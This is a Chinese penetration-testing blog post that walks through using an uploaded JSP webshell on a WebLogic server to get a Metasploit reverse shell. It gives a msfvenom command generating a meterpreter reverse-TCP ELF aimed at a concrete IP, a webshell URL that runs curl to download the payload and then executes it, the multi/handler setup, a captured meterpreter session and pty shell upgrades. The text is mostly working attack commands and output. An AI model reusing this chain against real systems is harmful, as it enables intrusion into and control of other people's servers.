「渗透」:一句话木马反弹shell的思路
前提:现在情况是已经上传了一句话木马,可以执行命令如:ls,pwd,whoami等;问题在于,不管用python
、bash
还是perl
都反弹不了,偷不了懒,就上msf把。
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=pwd
/u01/oracle/user_projects/domains/base_domain
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=whoami
oracle
一句话木马反弹shell思路,权当抛砖引玉:)
msf生成shell文件
msfvenom
先生成反弹shell文件,赋权。
root@iZj6cgn7odv59wmjjhe6zwZ:~# msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=47.52.233.92 LPORT=1234 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1046632 bytes
Final size of elf file: 1046632 bytes
root@iZj6cgn7odv59wmjjhe6zwZ:~# chmod 777 shell.elf
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=ls
测试一下一句话木马,是可以执行命令的:
total 1100
drwxr-x--- 15 oracle oracle 4096 Apr 27 08:06 .
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 ..
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 autodeploy
drwxr-x--- 6 oracle oracle 4096 Apr 25 00:23 bin
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 common
drwxr-x--- 9 oracle oracle 4096 Apr 25 00:24 config
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 console-ext
-rw-r----- 1 oracle oracle 234 Apr 25 00:23 derby.log
-rw-r----- 1 oracle oracle 257 Apr 25 00:24 edit.lok
-rw-r----- 1 oracle oracle 327 Jul 19 2017 fileRealm.properties
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 init-info
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 lib
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 nodemanager
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 orchestration
drwxr-x--- 2 oracle oracle 4096 Apr 26 01:39 original
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 security
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 servers
-rwxr-x--- 1 oracle oracle 261 Apr 25 00:23 startWebLogic.sh
drwxr-x--- 3 oracle oracle 4096 Apr 25 09:49 tmp
下载shell文件执行
在一句话木马上执行下载命令,Wget
和Curl
都可以,一般linux机器上都自带下载工具:
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=curl -o shell.elf http://ip/shell.elf
等待下载完毕;继续赋权
chmod 777 shell.elf
在查看一下:
total 1100
drwxr-x--- 15 oracle oracle 4096 Apr 27 08:06 .
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 ..
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 autodeploy
drwxr-x--- 6 oracle oracle 4096 Apr 25 00:23 bin
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 common
drwxr-x--- 9 oracle oracle 4096 Apr 25 00:24 config
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 console-ext
-rw-r----- 1 oracle oracle 234 Apr 25 00:23 derby.log
-rw-r----- 1 oracle oracle 257 Apr 25 00:24 edit.lok
-rw-r----- 1 oracle oracle 327 Jul 19 2017 fileRealm.properties
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 init-info
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 lib
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 nodemanager
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 orchestration
drwxr-x--- 2 oracle oracle 4096 Apr 26 01:39 original
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 security
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 servers
-rwxrwxrwx 1 oracle oracle 1046632 Apr 27 08:06 shell.elf
-rwxr-x--- 1 oracle oracle 261 Apr 25 00:23 startWebLogic.sh
drwxr-x--- 3 oracle oracle 4096 Apr 25 09:49 tmp
这里要注意的如果文件下载完毕执行文件无法返回流量则需要查看文件下载是否需要下载完成或者存在其他情况。
- 1、下载失败;
一般来说使用curl
或wget
的output参数下载出来如果下载失败,我们需要查看下载的指定文件,如output参数指定download.file
:
curl -o /tmp/download.file http://ip/shell.elf
直接查看download.file
cat download.file
一般如果是下载失败会提示解析失败或者其他。
- 2、路径系统无法找到;
下载命令指定绝对路径即可。
shell流量接入
我们发现已经成功下载了反弹shell的msf文件,直接执行
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=./shell.elf
,执行前别忘了在服务器上监听端口。
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf5 exploit(multi/handler) > run[*] Started reverse TCP handler on 0.0.0.0:1234
执行完就可以看到建立连接的流量接入了:
[*] Meterpreter session 1 opened (172.31.116.237:1234 -> 59.110.152.168:44832) at 2020-04-27 16:08:48 +0800
下一步:
meterpreter > shell
Process 460 created.
Channel 1 created.
whoami
oracle
python -c 'import pty;pty.spawn("/bin/sh")'
sh-4.2$ whoami
whoami
oracle
sh-4.2$ sudo su
sudo su
sh: sudo: command not found
python -c 'import pty;pty.spawn("/bin/bash")'
[oracle@5c6fe690ac22 base_domain]$ pwd
pwd
/u01/oracle/user_projects/domains/base_domain
[oracle@5c6fe690ac22 base_domain]$ ls
ls
autodeploy console-ext init-info original startWebLogic.sh
bin derby.log lib security tmp
common edit.lok nodemanager servers
config fileRealm.properties orchestration shell.elf
[oracle@5c6fe690ac22 base_domain]$ uname -a
uname -a
Linux 5c6fe690ac22 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
总结
如上为一句话木马的反弹shell的思路,当然也包括python
、bash
、powershell
等文件,当然具体的机器环境需要具体来指定,各位师傅见笑。
以上。
「渗透」:一句话木马反弹shell的思路相关推荐
- MSF模拟渗透测试之一句话木马拿shell
MSF模拟渗透测试之一句话木马拿shell 文章目录 MSF模拟渗透测试之一句话木马拿shell 前言 一.利用命令执行漏洞,生成一句话木马文件 二.利用一句话木马拿shell 1.复制当前网址到蚁剑 ...
- 「文献」杂合基因组的策略思路
「文献」杂合基因组的策略思路 文献出处: Sequencing a Juglans regia × J. microcarpa hybrid yields high-quality genome as ...
- 一句话木马拿Shell与菜刀原理
一.拿Shell的技巧 1. 直接上传asp asa jsp cer php aspx htr cdx 格式的木马,不行就加个空格或是利用IIS6.0解析漏洞,常见格式:1.asp;1.jpg 或 1 ...
- 一句话木马拿shell原理及菜刀的使用
虽然网上这种文章很多了,但自己不总结一遍不踏实. 一.一句话木马 原理 1.以PHP举例 php的eval()函数:eval($str)函数是把$str当做PHP代码执行. 比如: <?php ...
- web渗透_一句话木马(webshell)_dvwa环境
厄薇娅·瑞尔说,今天是个好日子. 一.什么是一句话木马 <?php @eval($_POST['a']); ?> 先来一段简单的一句话木马,解析下它的构造: @这个符号的作用是抵制错误提示 ...
- msf生成linux elf木马反弹shell
最开始用的生成木马的命令 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf & ...
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试
文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...
- 一句话反弹shell
1.bash反弹 攻击机监听端口 netcat: nc -nvlp 4444 -n: 不反向解析dns,即不通过ip解析域名 no dns -v: 详细信息输出 verbose -l: 监听 ...
- 精选四款命令行「神器」:美、快、爽!
常言道,工欲善其事.必先利其器,熟练一套高效且趁手的工具,对开发工作的重要性不言而喻. 本文给大家分享下命令行开发环境,文章较长,配图较多, 其中几处详细内容,已将其折叠起来,读者可视兴趣展开阅读. ...
最新文章
- MySQL优化篇:慢查询日志
- 诺奖得主本庶佑:CNS这些顶刊观点有九成不正确,不要盲从迷信,搞科研做到六个C更重要...
- linux chattr与lsattr命令 底层权限控制
- mysql sql 检测磁盘_MySQL 找到临时表用到磁盘的SQL
- 常见python面试题总结
- python 编程该看那些书籍_初学者自学Python要看什么书?
- Linux软件安装小结
- iphone静音键失灵_你知道iPhone手机中哪些一般人不知道的功能?
- C#总结项目《汽车租聘系统》项目代码实例【全注释版】
- 有些错误,即便时光倒流也无法弥补——《时光幻境》
- [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?
- 实现一个符合 Promise/A+ 规范的 MyPromise
- 高性能HTTP加速器Varnish(概念篇)
- java线性表合并_合并两个线性表
- unity3d 动态合批设置_【CocosCreator】突破动态合图
- 在Linux上录制终端的操作
- 荣耀智慧屏 55英寸屏幕 搭载鸿蒙OS,3799元起!荣耀智慧屏发布:55英寸4K全面屏+首发鸿蒙OS+无广告...
- 速达数据库服务器密码修改,速达,管家婆SQL Server帐套密码PJ方法 -电脑资料
- 教你如何用直播源码快速搭建直播平台
- JAVA工具_PinyinConv